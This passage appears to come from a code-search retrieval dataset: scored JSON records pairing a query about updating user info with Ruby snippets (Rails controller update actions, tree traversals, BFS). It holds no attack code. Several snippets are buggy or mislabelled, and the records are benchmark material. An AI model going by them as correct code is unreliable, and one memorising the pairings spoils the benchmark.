inorder.index(original)\n root = TreeNode.new(inorder[ind])\n root.left = build_tree(preorder, inorder[0...ind])\n root.right = build_tree(preorder, inorder[ind + 1..-1])\n root\n end\nend", "title": "" }, { "docid": "e5b508bb2eef69f564152306ec1871ce", "score": "0.46584958", "text": "def traverse_postorder(brick=\"root\", &lambdaF)\n raise \"Brick node: #{brick} does not exist can't traverse.\" unless @tree.has_key?(brick)\n\n @tree[brick]['children'].each {|bc| traverse_postorder(bc, &lambdaF) }\n\n # We pass the brick into the closure associated with the function call\n yield(@tree[brick])\n end", "title": "" }, { "docid": "5b8c80c6a034f0bace84372a3740d846", "score": "0.465278", "text": "def postorder_traverse node, &block\n if node.children.count > 0 then\n node.children.each do |child|\n postorder_traverse(child, &block)\n end\n end\n block.call(node)\n end", "title": "" }, { "docid": "6272784101c68cd9042d369ae7934f66", "score": "0.46486446", "text": "def preorder(current = @root, array = [])\n if current == nil\n return array\n else\n array << { key: current.key, value: current.value }\n preorder(current.left, array)\n preorder(current.right, array)\n end\n end", "title": "" }, { "docid": "560cab6da707ab151f75cc1e2ff38b11", "score": "0.4648432", "text": "def first_below(node, stack, branch=0)\n # Return node if node is a leaf\n if node.leaf?\n stack.push [node, node.peek_item.key]\n return node, stack\n end\n\n # Append node to ancestry stack for traversal\n if stack.empty?\n stack.push [node, NodeID.new]\n\n else\n if v2?\n stack.push [node, NodeID.new(:depth => node.depth,\n :key => node.common)]\n\n else\n stack.push [node, stack.last.last.child_node_id(branch)]\n end\n end\n\n # Iterate over non-empty branches\n i = 0\n while i < 16\n if !node.empty_branch?(i)\n # descend into branch\n node = descend_throw(node, i)\n raise if stack.empty?\n\n # Return first leaf\n if node.leaf?\n stack.push [node, node.peek_item.key]\n return node, stack\n end\n\n # Continue tree descent at new level\n if v2?\n stack.push [node, NodeID.new(:depth => node.depth,\n :key => node.common)]\n\n else\n stack.push [node, stack.last.last.child_node_id(branch)]\n end\n\n i = 0 # scan all 16 branches of this new node\n\n else\n i += 1\n end\n end\n\n # No node found, return nil and the stack\n return nil, stack\n end", "title": "" }, { "docid": "505285a8e065cc0ac31a0a0dcbeb6824", "score": "0.46453172", "text": "def postorder_traversal(node=@root)\n return if (node == nil)\n puts node.value.to_s\n postorder_traversal(node.left)\n postorder_traversal(node.right)\n end", "title": "" }, { "docid": "d7972334eccad799a0285a2f6a820428", "score": "0.4640422", "text": "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "title": "" }, { "docid": "617b522ef7fa3825df2abf901966900c", "score": "0.46371192", "text": "def _pre_order_rec(root, ary=[], lbd)\n if root.nil?\n ary\n else\n ary << lbd.call(root.val)\n _pre_order_rec(root.lnode, ary, lbd)\n _pre_order_rec(root.rnode, ary, lbd)\n end\n end", "title": "" }, { "docid": "ec441023be99245b15ce94f0695dde7c", "score": "0.4636803", "text": "def postorder_traversal(root)\n response = []\n traverse(root, response)\n return response\nend", "title": "" }, { "docid": "a30e8285b9b8888388a1ed8e0a024059", "score": "0.462644", "text": "def bfs(target)\n queue = [self]\n until queue.empty?\n return queue.first if queue.first.position == target\n queue += queue.first.children\n queue.shift\n end \n end", "title": "" }, { "docid": "95c014e4c4c34e84ed89c68df76dea14", "score": "0.46199524", "text": "def preorder\n array = []\n return [] if @root.nil?\n current = @root\n\n return preorder_recursive(current, array)\n end", "title": "" }, { "docid": "48ab45c2939e657822b85be6029e723b", "score": "0.4615008", "text": "def postorder\n tree_array = []\n if root.nil?\n return tree_array\n else\n root.postorder(tree_array)\n return tree_array\n end\n end", "title": "" }, { "docid": "3ec4f1f197bd913602f15e850933a5a5", "score": "0.46116993", "text": "def each order=:preorder, &block\n # I know, I know. SGF is only preorder. Well, it's implemented, ain't it?\n # Stop complaining.\n case order\n when :preorder\n preorder @root, &block\n end\n end", "title": "" }, { "docid": "2812c466bd176f53102b4fd3a8309351", "score": "0.46106374", "text": "def bfs(starting_node, target_value)\n return starting_node if starting_node.value == target_value\n queue = [starting_node]\n until queue.empty?\n queue += starting_node.neighbors\n queue.each { |neighbor| bfs(neighbor, tar) }\n end\n nil\nend", "title": "" } ]
88d938b2c519ad2d480941408d4d895a
function to update user's info
[ { "docid": "0d6dce023c5826f83f20b144338c7d59", "score": "0.0", "text": "def update\n session_id = params[:session_id]\n session_token = params[:session_token]\n \n if params[:avatar]\n io = V1::FileStringUpload.new(Base64.decode64(params[:avatar]))\n io.original_filename = params[:name_original_avatar].to_s\n params[:avatar] = io\n end\n\n data_input = {\n firstname: params[:firstname],\n lastname: params[:lastname],\n avatar: params[:avatar],\n address: params[:address],\n city: params[:city],\n email: params[:email],\n mobile: params[:mobile],\n gender: params[:gender],\n birthday: params[:birthday]\n }\n\n #Call function check_login from model V1::User\n if V1::User.check_login(session_id,session_token)\n #Call function update_user from model V1:User and render result to json\n render json: V1::User.update_user(session_id,data_input)\n else\n render json: V1::User.return_result({code:ERROR_NOT_LOGIN,description:MSG_NOT_LOGIN,\n messages:\"Unsuccessful\",data: nil})\n end\n end", "title": "" } ]
[ { "docid": "ffdb59071a95a760c0eeba26eabc1d3a", "score": "0.8027594", "text": "def update_user(options); end", "title": "" }, { "docid": "130789e2bf15a3c3c882630f433059b9", "score": "0.78554153", "text": "def user_update(new_username = nil, new_password = nil)\n if new_username.present?\n current_user['user'] = new_username\n current_user['key'] = get_pmp_key(current_user['host'], new_username)\n end\n if new_password.present?\n current_user['pass'] = new_password\n end\n end", "title": "" }, { "docid": "2eccf7084a0d82d51fb28df67282a743", "score": "0.7682411", "text": "def update\n save_user\n end", "title": "" }, { "docid": "29a71aee13034afe54d4b211bab88e7b", "score": "0.7628893", "text": "def userinfo=(new_userinfo); end", "title": "" }, { "docid": "29a71aee13034afe54d4b211bab88e7b", "score": "0.7628893", "text": "def userinfo=(new_userinfo); end", "title": "" }, { "docid": "3aca16cd0b83f35c107a4d2faab43fe2", "score": "0.7622402", "text": "def updatedUser(updatedUser)\n\t\tupdatedUser = gets\n\t\tuser = User.find_by(name: updatedUser)\n\t\tuser.update(name: userInfo.name,\n\t\t\tgpa: userInfo.gpa,\n\t\t\tsat: userInfo.sat,\n\t\t\tact: userInfo.act,\n\t\t\tlocation: userInfo.location,\n\t\t\tpopulation: userInfo.population,\n\t\t\tsocial_life: userInfo.social_life,\n\t\t\tathletics: userInfo.athletics)\n\t\tuser.save\n\tend", "title": "" }, { "docid": "712063f968995f51f2dacb0680484cdc", "score": "0.76213866", "text": "def update_user_data\n user.update(\n address: info.location,\n profile_image: info.try(:image),\n friend_count: friend_count\n )\n rescue NameError => error\n end", "title": "" }, { "docid": "41246f3ef4eef7c38eb15025a96fd6a2", "score": "0.75322104", "text": "def update_user_info (handle)\n\t\tputs(\"Updating info for user => \" + handle.to_s)\n\t\tstart = Time.now\n\t\t@info_handle = build_result(handle)\n\t\tdb_entry = UserInformation.where(handle: handle.downcase)[0]\n\t\tdb_entry.info = @info_handle\n\t\tdb_entry.updates = db_entry.updates + 1\n\t\tdb_entry.save\n\t\tfinish = Time.now\n\t\tputs(\"\t\tHandle \" + handle.to_s + \" updated in \" + (finish-start).to_s + \" seconds\")\n\tend", "title": "" }, { "docid": "2bb67bcf544373b53637b64df4c5ac5d", "score": "0.7487166", "text": "def update_user_info(opts)\n opts[:birthday] = format_date(opts[:birthday]) if opts[:birthday]\n post(\"/user/#{@user_id}/profile.json\", opts)\n end", "title": "" }, { "docid": "529b74ffc342709ad42b47d4fb153e63", "score": "0.7459831", "text": "def update_user\n # prompt = TTY::Prompt.new\n num = @prompt.select(\"What would you like to update?\") do |menu|\n menu.choice '🤠 My Username', 1\n menu.choice '⛺️ My Home State', 2\n menu.choice '<-- Back to Menu', 3\n end\n\n case num\n when 1\n temp = @prompt.ask(\"🌚 What would you like to update your username to? 🌝\")\n @users.update(name: temp)\n @prompt.ok(\"Username updated to: #{@users.name}\")\n menu\n when 2\n temp1 = @prompt.ask(\"🇺🇸 What would you like to update your home state to? 🇺🇸\")\n @users.update(state: statename(temp1))\n @prompt.ok(\"Home State updated to: #{@users.state}\")\n menu\n when 3\n menu\n end\n end", "title": "" }, { "docid": "abab0330e75f18ee1b53cc10b8dac5bc", "score": "0.74356407", "text": "def update\n if @user_info.update(user_info_params)\n user_id = @user_info.user_id\n @user_infos = UserInfo.find(user_id)\n @gender = UserInfo.get_gender\n @height = UserInfo.get_height\n @weight = UserInfo.get_weight\n\n render'edit'\n\n else\n render 'update_error'\n end\n end", "title": "" }, { "docid": "fad9f9a5663ff3109aa1ca711458461e", "score": "0.7412595", "text": "def user_update(username,options)\n make_request(:update,user_url(username),options)\n end", "title": "" }, { "docid": "e057f26df008200a254b3f1e86dba944", "score": "0.73973024", "text": "def update\n profile = self.bookalope.http_get('/api/profile')['user']\n self.firstname = profile['firstname']\n self.lastname = profile['lastname']\n end", "title": "" }, { "docid": "bef27ef96be9696d91343e6d36bd08da", "score": "0.7385868", "text": "def update_user_info\n @user = current_user\n if @user.update(users_params)\n redirect_to user_path(@user)\n else \n render :edit\n end\n end", "title": "" }, { "docid": "5487df50cbe7f3cd4a8eec7bbd3216ea", "score": "0.7355111", "text": "def update_user(username, given_name, family_name, password=nil, passwd_hash_function=nil, admin=nil, suspended=nil, changepasswd=nil, quota=nil)\n msg = ProvisioningMessage.new\n msg.about_login(username,password,passwd_hash_function,admin,suspended, changepasswd)\n msg.about_name(family_name, given_name)\n msg.about_quota(quota) if quota\n response = @apps.request(:user_update,username, msg.to_s)\n #user_entry = UserEntry.new(response.elements[\"entry\"])\n end", "title": "" }, { "docid": "721f08221e5e773e18f42fdb15d8d89f", "score": "0.7342894", "text": "def update_user_info(user_guid, given_name, family_name)\n uaac = get_uaa_client\n info = uaac.get(:user, user_guid)\n info['name'] = {givenName: given_name, familyName: family_name}\n uaac.put(:user, info)\n end", "title": "" }, { "docid": "fd193940740d49085897b2c9a1967302", "score": "0.73336333", "text": "def update #the process of updating that user information\n\t\tif proofIdent() == true\n\t\t\t#puts \"this is the value of @user.updatetheatrributesparamsuser\"\n\t\t\t#puts @user.update_attributes(params[:user])\n\t\t\t#hash the password\n\t\t\t#if password is blank it will try to hash it again\n\t\t\t#params[:user][:hashed_password] = User.hash_with_salt(params[:user][:hashed_password])\n\t\t\tif @user.update_attributes(params[:user])\n\t\t\t\tredirect_to :action => \"show\"\n\t\t\telse\n\t\t\t\t@user.hashed_password = \"\"\n\t\t\t\trender \"edit\"\n\t\t\tend\n\t\telse\n\t\t\tredirect_to :controller => \"login\", :action => \"index\"\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "950c97471dc3aab4865bbdf6997f5c92", "score": "0.7315896", "text": "def update\r\n @user.update(user_update_fields)\r\n redirect_to '/user'\r\n end", "title": "" }, { "docid": "8ae0739ddab1bdf15e3e8be0ed90d9c9", "score": "0.7302259", "text": "def update_user_data\n result = TwitterClient.global.user(self.username)\n\n self.user_id = result.id\n self.created_at_twitter = result.created_at\n self.real_name = result.name\n self.followers = result.followers_count\n self.friends = result.friends_count\n self.statuses = result.statuses_count\n\n save\n end", "title": "" }, { "docid": "cc07069bc55425e8069cab939812708c", "score": "0.7290525", "text": "def user_update\n\t\t\tif verify_action_params(['U', 'S', 'User'])\n\t\t\t\tuser = verify_user_authentication\n\t\t\t\tif user\n\t\t\t\t\tExUser.update_json_to_user(JSON.parse(params[:User]), user)\n\t\t\t\t\tuser.save\n\t\t\t\t\tex = ExUser.init_from_user(user.reload)\n\t\t\t\t\tre = ApiReturn.new(\"000\")\n\t\t\t\t\tre.add_data(\"User\", ex)\n\t\t\t\t\treturn_response(re)\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "9ff3e5dee72d8ab0e95793f4ef698c6c", "score": "0.72850907", "text": "def update\n\n user = current_user\n\n if user.update(user_params)\n\n render json: {\n username: current_user.username,\n bio: current_user.bio,\n lat: current_user.last_location_lat,\n lon: current_user.last_location_lon,\n }\n\n end\n\n end", "title": "" }, { "docid": "d2d62bace3a40af1053e78c4dd11083a", "score": "0.72677815", "text": "def update_user_info\n return unless self.primary_token?\n \n if self.site_token == 'twitter'\n # Cached some basic info from Facebook\n if !self.cached_user_info.blank?\n self.update_attributes({:remote_name => self.cached_user_info['name']})\n else\n self.cached_user_info = Hash.new\n end\n # Create a new user if they haven't logged in before\n new_user = User.find_or_initialize_by_twitter_username(self.remote_username)\n \n # Profile photo\n new_user.photo = open(\"http://api.twitter.com/1/users/profile_image/#{self.remote_username}?size=original\") rescue nil\n \n new_user.update_attributes({:in_beta => true,\n :name => self.remote_name,\n :time_zone => (new_user.time_zone || self.cached_user_info['time_zone'])})\n\n logger.warn \"new Twitter user: #{new_user.errors.inspect}\" \n \n if self.user.blank? \n self.update_attributes({:user_id => new_user.id})\n TrackedAction.add(:signed_up, new_user) \n TrackedAction.add(:connected_to_third_party_site, new_user)\n TrackedAction.add(:connected_to_twitter, new_user) \n end\n \n elsif self.site_token == 'facebook'\n # Cached some basic info from Facebook\n if !self.cached_user_info.blank?\n self.update_attributes({:remote_name => self.cached_user_info['name'],\n :remote_user_id => self.cached_user_info['id'],\n :remote_username => self.cached_user_info['username']})\n else\n self.cached_user_info = Hash.new\n end\n \n # Create a new user if they haven't logged in before\n new_user = User.find_or_create_by_facebook_uid(self.remote_user_id)\n\n # Parse the birthday, if it exists\n birthday = Date.parse(self.cached_user_info['birthday']) rescue nil\n if birthday\n new_user.birthday_day = birthday.day\n new_user.birthday_month = birthday.month\n new_user.birthday_year = birthday.year\n end\n \n # Parse the time zone, if it exists\n if !self.cached_user_info['timezone'].blank?\n offset_seconds = self.cached_user_info['timezone'].to_i * 60 * 60\n tz = ActiveSupport::TimeZone.all.find do |z| \n ((z.now.dst? && z.utc_offset == offset_seconds-3600) || \n (!z.now.dst? && z.utc_offset == offset_seconds)) && \n ![\"Arizona\",\"Chihuahua\",\"Mazatlan\"].include?(z.name)\n end\n tz = ActiveSupport::TimeZone[\"UTC\"] unless tz\n new_user.time_zone = tz.name if tz\n end\n\n # Profile photo\n unless new_user.photo?\n new_user.photo = open(\"http://graph.facebook.com/#{self.remote_username.blank? ? self.remote_user_id : self.remote_username}/picture?type=large\")\n end\n \n new_user.update_attributes({:name => self.remote_name,\n :email => self.cached_user_info['email'],\n :email_verified => true,\n :relationship_status => self.cached_user_info['relationship_status'],\n :gender => self.cached_user_info['gender']})\n \n logger.warn \"new user: #{new_user.errors.inspect}\" \n \n if self.user.blank? \n self.update_attributes({:user_id => new_user.id})\n TrackedAction.add(:signed_up, new_user) \n TrackedAction.add(:connected_to_third_party_site, new_user)\n TrackedAction.add(:connected_to_facebook, new_user)\n\n # Grab all of their user budges\n UserBudge.where(:post_to_twitter => true, :remote_user_id => self.remote_user_id, :user_id => nil).each do |user_budge|\n user_budge.update_attributes({:user_id => new_user.id})\n end\n end\n return true\n end\n end", "title": "" }, { "docid": "0709bbc74de762193365cd1f5dbbc439", "score": "0.72635746", "text": "def info \n @user = current_user\n puts(params[:user])\n if @user.update_attributes(params[:user]) \n flash[:notice] = \"Profile Successfully Updated\"\n redirect_to :action => 'profile'\n else \n redirect_to :action => 'edit_info'\n flash[:error] = \"Profile Update failed\"\n end\n end", "title": "" }, { "docid": "4d1845a9930e5604757921f6c620aeb6", "score": "0.72599965", "text": "def update_user\n\t\tif @user.locale\n\t\t\tI18n.locale = @user.locale\n\t\tend\n\t\t@previous_username = @user.username\n\t\tparams[:user][:username].downcase! if params[:user][:username]\n\t\tif @user.update(user_params)\n\t\t\t#flash[\"success\"] = \"Info updated.\"\n\t\t\t@error = false\n\t\t\tif @user.username != @previous_username\n\t\t\t\tredirect_to profile_settings_user_profile_settings_path(@user.username)\n\t\t\tend\t\t\t\n\t\telse\n\t\t\t#flash[\"error\"] = @user.errors.full_messages.to_sentence\n\t\t\t@error = true\n\t\tend\n\tend", "title": "" }, { "docid": "5e353bfac418a0ac6cfe41db9dd19c21", "score": "0.7248903", "text": "def set_user_info\n @user_info = UserInfo.find(params[:id])\n end", "title": "" }, { "docid": "5e353bfac418a0ac6cfe41db9dd19c21", "score": "0.7248903", "text": "def set_user_info\n @user_info = UserInfo.find(params[:id])\n end", "title": "" }, { "docid": "046f3a9b229322e473d4d881f969cc9f", "score": "0.724761", "text": "def update_user\n @user.send(\"set_\" + GlobalConstant::User.kyc_submitted_property)\n # @user.send(\"set_\" + GlobalConstant::User.doptin_mail_sent_property)\n @user.save! if @user.changed?\n success\n end", "title": "" }, { "docid": "6f64345a437059ded782c496d63e8a68", "score": "0.723984", "text": "def update_user app_name, uid, tags\n store_user app_name, uid, tags\n end", "title": "" }, { "docid": "5700c16196ac2ae92813e45e3d369f36", "score": "0.7227641", "text": "def update\n Log.add_info(request, '') # Not to show passwords.\n\n raise(RequestPostOnlyException) unless request.post?\n\n @user = User.find(params[:id])\n\n attrs = _process_user_attrs(@user, params[:user])\n attrs.delete(:password)\n\n # Official title and order to display\n title = attrs[:title]\n unless title.nil?\n attrs[:xorder] = User::XORDER_MAX\n\n titles = User.get_config_titles\n if !titles.nil? and titles.include?(title)\n attrs[:xorder] = titles.index(title)\n end\n end\n\n if @user.update_attributes(attrs.except(:id).permit(User::PERMIT_BASE))\n\n flash[:notice] = t('msg.update_success')\n\n if @user.id == @login_user.id\n @login_user = @user\n end\n if params[:from] == 'users_list'\n redirect_to(:controller => 'users', :action => 'list')\n else\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n else\n render(:controller => 'users', :action => 'edit')\n end\n end", "title": "" }, { "docid": "9372c5dd40fa140dae2764dcc44d533c", "score": "0.7224195", "text": "def update \n @user = User.find(params[:id]) \n @user.updated_user = current_user.login_name\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375bec5d918b945625cc62eb5d98428a", "score": "0.7216051", "text": "def update\n if @user = current_user\n #get updated data\n updated_attributes = params.require(:user).permit(:email, :username, :password, :password_confirmation, :avatar)\n # update the creature\n current_user.update_attributes(updated_attributes)\n redirect_to user_path(current_user)\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "d0a9ca650949efc2e171cbc48421587b", "score": "0.721337", "text": "def update\n update_user(users_path)\n end", "title": "" }, { "docid": "abdc98d7206c75bd2c0a58f97326f035", "score": "0.7196343", "text": "def update\n current_user.save\n end", "title": "" }, { "docid": "d517600b21f3ad96a16446f2525ee659", "score": "0.7184729", "text": "def update \n @user = current_user\n if @user == nil\n\n flash[:notice] = 'You should login first'\n\n # flash[:notice] = 'You should login first'\n redirect_to root_url\n else\n if @user.update_attributes(user_params)\n Action.create(info: @user.username + ' has updated his personal information.', user_email: @user.email)\n redirect_to(user_path)\n else\n redirect_to(user_path)\n \n end\n end\n end", "title": "" }, { "docid": "81daf216859c88207cc2621a6bdc85c6", "score": "0.71564084", "text": "def update\n update_information(\n success: lambda do |user_id:|\n redirect_to user_path(user_id), notice: I18n.t('user.updated')\n end,\n failure: lambda do |user_model:|\n @user = User.new(user_model)\n render :edit\n end\n )\n end", "title": "" }, { "docid": "d7d0897b6121b6d553d30a7a537fd880", "score": "0.7142859", "text": "def update\n\t\t if @user.update(user_params)\n\t\t head :no_content\n\t\t else\n\t\t end\n\t\t end", "title": "" }, { "docid": "d9d75690f08f1e7ebdefccd71826f7e5", "score": "0.7142168", "text": "def update\n if params[:token].blank?\n \t\t@user = load_user\n @user.update_attributes(params[:user])\n if @user.save\n @user.update_progress\n flash.notice = \"Updated!\"\n redirect_to prework_path\n else\n render action: \"edit\" \n flash.notice = \"Problem!\"\n end\n else\n complete_signup_update\n end\n\tend", "title": "" }, { "docid": "2fe99744c1a086bb5ead0e2563d71ec1", "score": "0.71368104", "text": "def update\n logger.debug(\"==================== user update nickname #{params[:user][:nickname]}\")\n super\n # @user = current_user\n # if @user.update\n # redirect_to root_path\n # else\n # render :edit\n # end\n end", "title": "" }, { "docid": "1044f737a50464363e4fad8e264da917", "score": "0.71327794", "text": "def update\n\t\t@user = User.find_by_id(session[:user_id])\n\t\t# update method specifies what to set specifically using hashes and our user_params hash.\n\t\t@user.update(first_name: user_params[:first_name], last_name: user_params[:last_name], hometown: user_params[:hometown], prof_image: user_params[:prof_image])\n\t\tredirect_to @user\n\tend", "title": "" }, { "docid": "efde75f365f0e8e4cfcd9a6235e893ae", "score": "0.71240854", "text": "def update\n ok = update_user\n notify(ok, :successful_user_update, :failure_in_user_update)\n ok ? redirect_to(user_path) : locals(:show, :user => current_user)\n end", "title": "" }, { "docid": "0cb46e242a339293232b4f53c37d1deb", "score": "0.71206313", "text": "def update_user(opts = {})\n put 'user', opts\n end", "title": "" }, { "docid": "cd593b8d281f9ba376a1bc786702fe2f", "score": "0.71122634", "text": "def update(*args)\n arguments(args) do\n permit VALID_USER_PARAMS_NAMES\n end\n\n patch_request(\"/user\", arguments.params)\n end", "title": "" }, { "docid": "5cc41478dee60b50dee2e973a4b0fda1", "score": "0.71030366", "text": "def set_user_info\n @user_info = UserInfo.find_by(user: params[:id])\n end", "title": "" }, { "docid": "c0b7694a59f1907b09fda06b333182cb", "score": "0.709695", "text": "def update\n @user = User.find(params[:id])\n fullname = params[:user][:f_name] + ' ' + params[:user][:l_name]\n @user.fullname = fullname\n sign_in(:user, @user)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "183d1c3dc0aad5ccf8934c8f73aba842", "score": "0.70967346", "text": "def refresh(*)\n user.update username: payload[\"from\"][\"username\"]\n user.update firstname: payload[\"from\"][\"first_name\"]\n user.update lastname: payload[\"from\"][\"last_name\"]\n\n respond_with :message, text: \"Updated your profile 💁\"\n end", "title": "" }, { "docid": "3a730532a6b09eb8b22781674199038a", "score": "0.7088073", "text": "def update\n new_values=user_params # .to_hash.symbolize_keys! # can't do the strip! otherwise\n logger.debug('+++++++ new_values='+new_values.to_hash.inspect)\n [:name,:email].each {|f| new_values[f].striP!.downcase!}\n new_values.delete(:name) if new_values[:name].length==0\n if no_password?(new_values)\n [:password,:password_confirmation].each {|f| new_values.delete(f)}\n end\n logger.debug('++++++++ new_values after: '+new_values.inspect)\n if @user.update_attributes(new_values)\n logger.debug('+++++++++++++ SUCCESS')\n set_new_name_for_current_user(@user.name) # In case of name change\n flash.now[:success]=\"Change(s) are applied\"\n end\n render 'edit'\n end", "title": "" }, { "docid": "9f603c0358b8112e785d50f2ab9bb32b", "score": "0.70815444", "text": "def update\n current_user.update(user_params)\n head :no_content\n end", "title": "" }, { "docid": "c60a93a97f7ae473ff914feca3cebbb4", "score": "0.70755154", "text": "def update_user_info(user_id, options = {})\n check_token\n @header = true\n user_url = \"#{url}/v2/users/#{user_id}/\"\n put(user_url, options)\n end", "title": "" }, { "docid": "84d001a77df4c6c16e42ac2b0f89b9c6", "score": "0.70707524", "text": "def update\n update_and_respond(@user, user_params)\n end", "title": "" }, { "docid": "1a460f44c290311b15069de655a61caa", "score": "0.7069451", "text": "def update(user)\n @usage.update_user(user)\n end", "title": "" }, { "docid": "15489dfd43cf98e38e22f82ee4aa35e1", "score": "0.706794", "text": "def update\n user = User.find_by id: (params[:id])\n user.username = (params[:username])\n user.password = (params[:password])\n user.firstname = (params[:firstname])\n user.valid_up = Date.Now\n user.active = true\n user.email = (params[:email])\n if user.save\n render json: '[{\"message\":\"The user was Updated\"}]', status: :ok\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "707d78a5332382d91d76698b4d82a1f0", "score": "0.70678556", "text": "def update_mod\n if params[:roleId] != nil && params[:displayName] != nil && params[:totalPoints] != nil\n @user.roleId = params[:roleId].to_i\n @user.displayName = params[:displayName]\n @user.totalPoints = params[:totalPoints].to_f\n\n user_json = @user.to_h.to_json\n\n url = @httpIp+'/pet.com/api/user/updateUser'\n uri = URI(url)\n res = Net::HTTP.post(uri, user_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to users_path\n\n end\n end", "title": "" }, { "docid": "55cd9ead695e2c9dfd1307326fc2d499", "score": "0.7064767", "text": "def update_user!\n user.update(user_attributes)\n end", "title": "" }, { "docid": "ca37a7981b4333ce55a0fdc0caa9c2e4", "score": "0.70601773", "text": "def update\n up = user_params\n up[:nickname] = sanitize(up[:nickname])\n up[:bio] = sanitize(up[:bio])\n respond_to do |format|\n if @user.update(up)\n format.html { redirect_to @user, notice: \"User was successfully updated.\" }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8e291b1ed1c10a3d063541f876185df", "score": "0.7051426", "text": "def set_info\n @info = User.find(params[:id])\n end", "title": "" }, { "docid": "8ab6514480533b54f5b8f3b39930cfda", "score": "0.7050925", "text": "def update_user(user)\n puts \"What would you like to update: Name, Location, Age, Gender, Relationship Status?\".colorize(:blue)\n puts \" Or would you like to delete your profile?\".colorize(:blue)\n update = gets.chomp\n if update.downcase == \"name\"\n puts \"Please update your name:\"\n name = gets.chomp\n user.update(name: name)\n elsif update.downcase == \"location\"\n puts \"Please update your location:\"\n location = gets.chomp\n user.update(location: location)\n elsif update.downcase == \"age\"\n puts \"Please update your age:\"\n age = gets.chomp\n user.update(age: age)\n elsif update.downcase == \"gender\"\n puts \"Please update your gender:\"\n gender = gets.chomp\n user.update(gender: gender)\n elsif update.downcase == \"status\"\n puts \"Please update your status:\"\n status = gets.chomp\n user.update(relationship_status: status)\n elsif update.downcase == \"delete\"\n puts \"Are you sure? Y/N\"\n existence = gets.chomp\n if existence.downcase == \"y\"\n user.delete\n puts \"Deleted, have a nice day!\"\n end\n self.user_menu(user)\n else\n self.user_menu(user)\n end\n end", "title": "" }, { "docid": "a9d52c45357c718bf48788b8439167d7", "score": "0.7049638", "text": "def update\n @user.update(status: lookup(params[:Status].to_i), username: params[:user][:username], email: params[:user][:email])\n render \"edit_status\"\n # super\n end", "title": "" }, { "docid": "f43d466ca06666b96a309dd0c8931923", "score": "0.70373315", "text": "def update\n if @current_user.update(user_params)\n render json: @current_user, status: :ok\n end\n end", "title": "" }, { "docid": "8642154bc974868277b3f717acabe100", "score": "0.7032724", "text": "def refresh\n\t\t\tresponse = @client.get_profile\n\t\t\tset_user_info(**response)\n\t\tend", "title": "" }, { "docid": "8e6b3e90943d369cea8db156f09d3f53", "score": "0.7027589", "text": "def update_info(oa)\n update_attribute(:nickname,oa['user_info']['nickname'])\n update_attribute(:image_url,oa['user_info']['image'])\n config_twitter(authentications.find_by_provider(\"twitter\"))\n Twitter.friend_ids(oa['user_info']['nickname'])[\"ids\"].each do |id|\n if auth = Authentication.find_by_provider_and_uid(oa['provider'], id)\n unless friends.include? auth.user\n friends << auth.user\n end\n end\n end\n end", "title": "" }, { "docid": "116f1bd642b822e10fedd018d4da715d", "score": "0.70261896", "text": "def call\n info = Vc::Login.get_user @username, @password\n\n update_person_info info\n end", "title": "" }, { "docid": "64691438411c2d79745d721820de6426", "score": "0.7020019", "text": "def update\n @user = Geniverse::User.find(params[:id])\n respond_to do |format|\n attributes = strong_user_params()\n if @user.update_attributes(attributes)\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => custom_item_hash(@user), :status => :ok, :location => @user}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e054f3aee0144ba3235b2b35be2f3635", "score": "0.70056", "text": "def update_status\n new_info = params[:user][:info]\n my_id = session[:user].to_i\n # se estou editando minha info, update\n if my_id == params[:id].to_i && new_info\n user = User.update(my_id , {:info=>new_info})\n render :json => {:info=>user.reload.info}.to_json, :status=>200\n else\n render :nothing => true, :status=>500\n end\n\n end", "title": "" }, { "docid": "302fd13d7fd5b632d7924e0c6a21e2fd", "score": "0.700307", "text": "def update_user(options)\n patch \"user\", options\n end", "title": "" }, { "docid": "83e18be5730d3ab9278f4ece31e5117f", "score": "0.699553", "text": "def update\n respond_to do |format|\n if @user_info.update(user_info_params)\n format.html { redirect_to user_profile_path, notice: 'User info was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_info }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @user_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59ed3781b1d548c1a2019dc7316c2672", "score": "0.69954157", "text": "def update\n user = User.find(current_user.id)\nend", "title": "" }, { "docid": "74870cc0f50d816f3c4d728651fe7d3e", "score": "0.6993213", "text": "def update\n\t user = User.find(params[:id])\n\t if user.update(user_params)\n\t render json: { status: 200, msg: 'User details have been updated.' }\n\t end\n\tend", "title": "" }, { "docid": "7af904ab097e7dd0878ac1c74ef34b8e", "score": "0.6989748", "text": "def update\n print params[:id]\n print params[:user]['username']\n\n @userdata = User.where(id: params[:id]).take\n if @userdata.update(user_params)\n #Actualizamos las variables necesarias\n refresh\n redirect_to request.referer.present? ? request.referer : default_path\n else\n redirect_to request.referer.present? ? request.referer : default_path\n end\n end", "title": "" }, { "docid": "0a1576ce19ab722629d4d5701415d68f", "score": "0.6988598", "text": "def update\n @user = current_user\n\n 